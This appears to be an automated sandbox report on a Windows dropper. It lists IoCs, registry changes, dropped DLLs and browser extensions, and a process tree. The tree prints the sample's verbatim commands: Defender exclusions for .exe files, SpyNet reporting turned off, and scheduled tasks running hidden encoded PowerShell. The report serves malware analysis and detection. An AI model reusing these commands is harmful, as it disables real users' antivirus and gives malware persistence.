5bf022ba2d607469d97b0081e93145c75c592ee86badf34b95e8d758afc039a0

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	Install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	oaZcBNQ.exe

Loads dropped DLL 1 IoCs

pid	Process
5012	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	oaZcBNQ.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	oaZcBNQ.exe

Drops file in System32 directory 29 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3B8C7C973B30115D9F846695C38BBC1F	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_D6D2B558BF17FE40FE2B2212768F0E28	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_D6D2B558BF17FE40FE2B2212768F0E28	oaZcBNQ.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_700D3D829872DA81350332B54C171BD1	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3B8C7C973B30115D9F846695C38BBC1F	oaZcBNQ.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	oaZcBNQ.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	UtRFMzW.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	UtRFMzW.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	oaZcBNQ.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_700D3D829872DA81350332B54C171BD1	oaZcBNQ.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	oaZcBNQ.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\MVcFrmykU\daSlJY.dll	oaZcBNQ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	oaZcBNQ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	oaZcBNQ.exe
File created	C:\Program Files (x86)\MVcFrmykU\QifwdIu.xml	oaZcBNQ.exe
File created	C:\Program Files (x86)\osESRkodozXU2\DifPHXG.xml	oaZcBNQ.exe
File created	C:\Program Files (x86)\pAKmptUbNznEAMahTMR\NpSGqou.dll	oaZcBNQ.exe
File created	C:\Program Files (x86)\pAKmptUbNznEAMahTMR\nHbonWy.xml	oaZcBNQ.exe
File created	C:\Program Files (x86)\DVLSCjzubxcrC\tVWcEwl.xml	oaZcBNQ.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	oaZcBNQ.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	oaZcBNQ.exe
File created	C:\Program Files (x86)\DVLSCjzubxcrC\ZGoVBXY.dll	oaZcBNQ.exe
File created	C:\Program Files (x86)\ZEjFuUXqnlUn\AvSzgRE.dll	oaZcBNQ.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	oaZcBNQ.exe
File created	C:\Program Files (x86)\osESRkodozXU2\zdEaGSjlSJjYi.dll	oaZcBNQ.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bYqlJtUJrMAKoHnTaX.job	schtasks.exe
File created	C:\Windows\Tasks\urGvlfBdPeukfqcZa.job	schtasks.exe
File created	C:\Windows\Tasks\dUTmMGSAYzNRiET.job	schtasks.exe
File created	C:\Windows\Tasks\hyJpdeGMfENlCmLIl.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4732	schtasks.exe
4216	schtasks.exe
740	schtasks.exe
4576	schtasks.exe
3060	schtasks.exe
1352	schtasks.exe
3780	schtasks.exe
4092	schtasks.exe
4344	schtasks.exe
524	schtasks.exe
2536	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	oaZcBNQ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2fb4ccdc-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	oaZcBNQ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	oaZcBNQ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	oaZcBNQ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2fb4ccdc-0000-0000-0000-d01200000000}	oaZcBNQ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	oaZcBNQ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	oaZcBNQ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer	oaZcBNQ.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{2fb4ccdc-0000-0000-0000-d01200000000}\MaxCapacity = "15140"	oaZcBNQ.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
2640	powershell.EXE
2640	powershell.EXE
2340	powershell.exe
2340	powershell.exe
4784	powershell.exe
4784	powershell.exe
2332	powershell.EXE
2332	powershell.EXE
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe
3208	oaZcBNQ.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2640	powershell.EXE
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	2332	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4332 wrote to memory of 3520	4332	file.exe	80
PID 4332 wrote to memory of 3520	4332	file.exe	80
PID 4332 wrote to memory of 3520	4332	file.exe	80
PID 3520 wrote to memory of 4644	3520	Install.exe	81
PID 3520 wrote to memory of 4644	3520	Install.exe	81
PID 3520 wrote to memory of 4644	3520	Install.exe	81
PID 4644 wrote to memory of 4184	4644	Install.exe	82
PID 4644 wrote to memory of 4184	4644	Install.exe	82
PID 4644 wrote to memory of 4184	4644	Install.exe	82
PID 4644 wrote to memory of 4052	4644	Install.exe	84
PID 4644 wrote to memory of 4052	4644	Install.exe	84
PID 4644 wrote to memory of 4052	4644	Install.exe	84
PID 4184 wrote to memory of 4968	4184	forfiles.exe	87
PID 4184 wrote to memory of 4968	4184	forfiles.exe	87
PID 4184 wrote to memory of 4968	4184	forfiles.exe	87
PID 4052 wrote to memory of 4560	4052	forfiles.exe	86
PID 4052 wrote to memory of 4560	4052	forfiles.exe	86
PID 4052 wrote to memory of 4560	4052	forfiles.exe	86
PID 4968 wrote to memory of 4920	4968	cmd.exe	88
PID 4968 wrote to memory of 4920	4968	cmd.exe	88
PID 4968 wrote to memory of 4920	4968	cmd.exe	88
PID 4560 wrote to memory of 3208	4560	cmd.exe	89
PID 4560 wrote to memory of 3208	4560	cmd.exe	89
PID 4560 wrote to memory of 3208	4560	cmd.exe	89
PID 4968 wrote to memory of 4940	4968	cmd.exe	90
PID 4968 wrote to memory of 4940	4968	cmd.exe	90
PID 4968 wrote to memory of 4940	4968	cmd.exe	90
PID 4560 wrote to memory of 4820	4560	cmd.exe	91
PID 4560 wrote to memory of 4820	4560	cmd.exe	91
PID 4560 wrote to memory of 4820	4560	cmd.exe	91
PID 4644 wrote to memory of 4732	4644	Install.exe	95
PID 4644 wrote to memory of 4732	4644	Install.exe	95
PID 4644 wrote to memory of 4732	4644	Install.exe	95
PID 4644 wrote to memory of 3696	4644	Install.exe	97
PID 4644 wrote to memory of 3696	4644	Install.exe	97
PID 4644 wrote to memory of 3696	4644	Install.exe	97
PID 2640 wrote to memory of 740	2640	powershell.EXE	101
PID 2640 wrote to memory of 740	2640	powershell.EXE	101
PID 4644 wrote to memory of 4848	4644	Install.exe	109
PID 4644 wrote to memory of 4848	4644	Install.exe	109
PID 4644 wrote to memory of 4848	4644	Install.exe	109
PID 4644 wrote to memory of 4216	4644	Install.exe	111
PID 4644 wrote to memory of 4216	4644	Install.exe	111
PID 4644 wrote to memory of 4216	4644	Install.exe	111
PID 4980 wrote to memory of 2340	4980	UtRFMzW.exe	115
PID 4980 wrote to memory of 2340	4980	UtRFMzW.exe	115
PID 4980 wrote to memory of 2340	4980	UtRFMzW.exe	115
PID 2340 wrote to memory of 3932	2340	powershell.exe	117
PID 2340 wrote to memory of 3932	2340	powershell.exe	117
PID 2340 wrote to memory of 3932	2340	powershell.exe	117
PID 3932 wrote to memory of 3192	3932	cmd.exe	118
PID 3932 wrote to memory of 3192	3932	cmd.exe	118
PID 3932 wrote to memory of 3192	3932	cmd.exe	118
PID 2340 wrote to memory of 3180	2340	powershell.exe	119
PID 2340 wrote to memory of 3180	2340	powershell.exe	119
PID 2340 wrote to memory of 3180	2340	powershell.exe	119
PID 2340 wrote to memory of 4756	2340	powershell.exe	120
PID 2340 wrote to memory of 4756	2340	powershell.exe	120
PID 2340 wrote to memory of 4756	2340	powershell.exe	120
PID 2340 wrote to memory of 4148	2340	powershell.exe	121
PID 2340 wrote to memory of 4148	2340	powershell.exe	121
PID 2340 wrote to memory of 4148	2340	powershell.exe	121
PID 2340 wrote to memory of 3488	2340	powershell.exe	122
PID 2340 wrote to memory of 3488	2340	powershell.exe	122

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4332
- C:\Users\Admin\AppData\Local\Temp\7zS68A2.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Users\Admin\AppData\Local\Temp\7zS6BBF.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks computer location settings
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4184
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4968
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:4920
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:4940
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4052
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4560
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3208
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:4820
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gQBbEtiKw" /SC once /ST 11:50:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:4732
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gQBbEtiKw"
      4⤵
      PID:3696
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gQBbEtiKw"
      4⤵
      PID:4848
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bYqlJtUJrMAKoHnTaX" /SC once /ST 19:55:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\CMEsyPfLCgCJClsRT\XbtGuQYdCpmGtEx\UtRFMzW.exe\" R4 /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:4216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3440

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3056

C:\Users\Admin\AppData\Local\Temp\CMEsyPfLCgCJClsRT\XbtGuQYdCpmGtEx\UtRFMzW.exe
C:\Users\Admin\AppData\Local\Temp\CMEsyPfLCgCJClsRT\XbtGuQYdCpmGtEx\UtRFMzW.exe R4 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
